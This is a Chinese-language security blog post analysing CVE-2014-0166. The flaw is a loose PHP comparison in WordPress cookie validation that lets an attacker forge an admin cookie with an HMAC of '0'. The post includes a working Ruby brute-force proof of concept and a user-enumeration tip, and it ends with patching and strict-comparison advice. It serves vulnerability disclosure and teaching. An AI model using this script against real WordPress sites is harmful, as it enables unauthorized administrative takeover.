CVE-2014-0166 WordPress 偽造 Cookie 弱點

前言

在一陣 OpenSSL Heartbleed 淘金潮中,又有一個技術門檻低、後果嚴重、也同樣需要些運氣的漏洞被揭發-CVE-2014-0166。CVE-2014-0166 是 WordPress 上面驗證登入 cookie 的弱點,攻擊者可以暴力偽造出合法 cookie,藉此獲得 WordPress 最高權限,進而拿到 shell 取得系統操作權。 讓我們來分析一下這次的弱點是發生了什麼事吧!

解析

這次出問題的程式碼在這邊,關鍵程式碼如下:

$key = wp_hash($username . $pass_frag . '|' . $expiration, $scheme);
$hash = hash_hmac('md5', $username . '|' . $expiration, $key);

if ( $hmac != $hash ) {
  /**
   * Fires if a bad authentication cookie hash is encountered.
   *
   * @since 2.7.0
   *
   * @param array $cookie_elements An array of data for the authentication cookie.
   */
  do_action( 'auth_cookie_bad_hash', $cookie_elements );
  return false;
}

問題主要發生在比較運算子 != 上面,!= 運算子是 non-strict,會在比較前先做型態轉換,所以下面看似應該是回傳 true 的例子,全部都顯示為 false,細節請參閱官方手冊

var_dump(0 != "a"); // 0 != 0 -> false
var_dump("1" != "01"); // 1 != 1 -> false
var_dump("10" != "1e1"); // 10 != 10 -> false
var_dump(100 != "1e2"); // 100 != 100 -> false
var_dump( "0" != "0e10123456789012345678901234567890" ); // 0 != 0 -> false

進入正題,WordPress 認證身分用的 cookie 內容是這樣的:『username|expiration|hmac』。
username 是使用者名稱,
expiration 是有效期限(timestamp),
hmac 值用來驗證 cookie 是否合法。
從上面程式碼可以看到,hmac 的算法是經過 username、pass_frag、expiration、key 綜合得出。若有辦法控制 cookie 中的 hmac 使伺服器認為該 cookie 合法,就可以成功偽造成 username。

利用稍早提到的比較運算子問題,若我們讓 cookie 中的 hmac 值為 0,很有可能讓判斷式變成下面這樣:

//if ( $hmac != $hash ) {
  if ( "0" != "0e10123456789012345678901234567890" ) {
    do_action( 'auth_cookie_bad_hash', $cookie_elements );
    return false;
  }

如此便可以通過驗證,成功偽造合法 cookie。
而為了讓 $hash == 0,可以不斷改變 cookie 中的 expiration,讓產生的 MD5 值($hash)經過型態轉換後剛好變成 0。
符合 $hash == 0 的 MD5 $hash 值有 0eXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX、00eXXXXXXXXXXXXXXXXXXXXXXXXXXXXX….000000000000000000000000000eX、00000000000000000000000000000 (X = 0,1,2,3,4,5,6,7,8,9)

故出現 $hash == 0 的機率為 Sum(10^n,n=0,30)/16^32 = 3.265262085617465e-09

每次偽造的成功機率約為三億分之一,並不會很高,但已經足夠在一個月內拿到最高權限,而且所耗成本並不會很高。

實驗

為了驗證此方法之可行性,我們架設了 WordPress 3.8.1 環境。並且寫程式將登入 cookie 中的 hmac 設為 0,不斷調整 expiration 值測試是否已經登入,程式如下:

require 'httpclient'

http = HTTPClient.new

cookie_name = "WordPress_logged_in_de5be3cf9fcea023a1303527e10ea67a"
timestamp = Time.now.to_i

(timestamp..timestamp+800000000).each do |time|
  result = http.get('http://domain.my/WordPress/', nil, {"Cookie"=>"#{cookie_name}=admin%7C#{time}%7C0"})
  if result.body.include? 'logout'
    puts "admin%7C#{time}%7C0"
    break
  end
end

註:此程式為 POC,請自行調整為多執行緒版本,不然速度會很慢。

經過一段長時間的等待,得到的結果如下:

暴力偽造 cookie,直到成功登入

得知當 cookie 中的 username 為 admin 且 expiration 值為 1421818232 時,伺服器算出來的 hmac 經過型態轉換會變成 0。我們將測試成功的 cookie 值: admin%7C1421818232%7C0 貼到瀏覽器上。成功變成 admin 如下圖,實驗成功!

利用偽造的 cookie 登入 WordPress

註:一般狀況,若不知道 WordPress 最高權限的帳號,可以利用 WordPress 的 feature 在 http://your.WordPress.com/?author=$id ($id: 1,2,3,4…,999,…) 頁面中列舉所有使用者帳號。通常 $id = 1 的 author 都有 WordPress 的管理權限。

結論

最近出現了一個高風險通報 CVE-2014-0166,其中提及 WordPress 在舊版驗證 cookie 的部分出現弱點,可以偽造合法 cookie,進而取得 WordPress 管理權限。本文分析了其原理,並且證實之。

對於攻擊者而言,雖然每次偽造 cookie 成功的機率約為三億分之一並不高,但發送三億個 request 後或許能拿到最高權限,已經是值得投資的級數。

對於 WordPress 管理者而言,建議立即更新至 3.8.2 以後版本,以免受到此風險攻擊。

從此事件也提醒了 PHP 開發者,在撰寫重要的驗證行為,要特別注意 PHP 比較運算子的特性,請使用 === (不等於請用 !==)來保證等式左右型態與值為一樣,避免因為轉型造成的資安風險。

作者資訊

Shaolin

Shaolin

Security Reseacher
喜愛資訊技術、喜歡跟別人走不一樣的路。有一點點智障的熱血人,期望能利用資訊的力量對世界有所貢獻。